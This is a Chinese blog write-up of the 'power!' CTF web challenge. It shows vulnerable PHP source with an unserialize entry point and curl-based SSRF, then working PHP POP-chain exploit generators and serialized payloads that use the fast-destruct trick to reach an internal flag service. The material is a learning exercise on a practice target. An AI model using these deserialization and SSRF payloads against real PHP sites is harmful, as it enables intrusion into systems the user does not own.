从power!初识fast destruct
学CTF也有一段日子了,很少记录自己的学习历程,再看之前做过的题目也有些一知半解,遂想到用blog记录下来用以反思
power!
——https://www.ctfer.vip/contest/52/ NSS_SWPU复现
题目环境点进去是这样的
由题目提示查看源码
源码
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Viewer ~ @V@</title>
</head>
<body>
<h1>This is a Image viewer</h1>
<form action="/" method="get">
<input type="text" placeholder="vergil.jpg" name="image_path">
<button type="submit">submit</button>
</form>
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>
</body>
<!-- ?source= -->
</html>
提示flag在flag.php,于是在框内输入flag.php访问,在源码中会发现这玩意儿。
base64解码发现
直接访问该地址是得不到flag的。看源码,恰好我们有两个类可以利用:FileViewer和backdoor。其中FileViewer的loadfile方法提供了curl,容易想到SSRF。但FileViewer的__wakeup方法使得local属性一进行反序列化就重置为"http://127.0.0.1/"。
因为php版本较高无法通过改属性数量绕过__wakeup,但是backdoor为我们提供了改变属性的方法goodman。且destruct中调用c可以触发FileViewer中的__call方法,于是我们的思路连起来了。
Backdoor::destruct–>FileViewer::call–>FileViewer::loadfile
我们的exp如下
点击查看代码
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
}
class Backdoor{
public $a;
public $b;
public $superhacker = "http://127.0.0.1:65500";
public function __construct(){
$this->a = new FileViewer;
$this->b="local";
}
}
$a=new Backdoor();
echo serialize($a);
?>
由于源代码在反序列化之前还包裹着base64_decode,所以要先base64编码再传入(我没看到被坑了……)
但是仅仅这样是不行的 因为此时我们封装的是Backdoor,在反序列化的下一行,
Backdoor并没有loadfile方法!直接传入我们的代码抛出异常而无法达到预期效果
我们的主角登场
Fast Destruct
引用一位大佬的文章
在这个题目中,反序列化得到的对象被赋给了$FV
导致__destruct
在程序结尾才被执行,从而无法绕过$FV->loadfile();
代码中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct
,绕过反序列化报错。
一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下:
原payload:
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}
修改序列化数字元素个数
此处将backdoor后的3改为任意值
O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}
去掉序列化尾部 }
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";
这两种payload在base64编码传入后都可获得flag
Another exp
刚刚就是出题人的预期思路,但是我在一位大佬的题解中发现了另一种思路:
对于$FV->loadfile();
的另一种解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)
exp如下
点击查看代码
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
}
class Backdoor{
public $a;
public $b;
public $superhacker = "http://127.0.0.1:65500";
public function __construct(){
$this->a = new FileViewer;
$this->b="local";
}
}
$a=new Backdoor();
$b=new FileViewer();
$b->test = $a;
echo base64_encode(serialize($b));
?>
第一次写blog,如有错误,敬请指正。
参考链接:
https://zhuanlan.zhihu.com/p/405838002
http://www.hackdig.com/06/hack-389223.htm
https://exp10it.cn/2022/10/2022-swpu-nss-新生赛-web-writeup/#power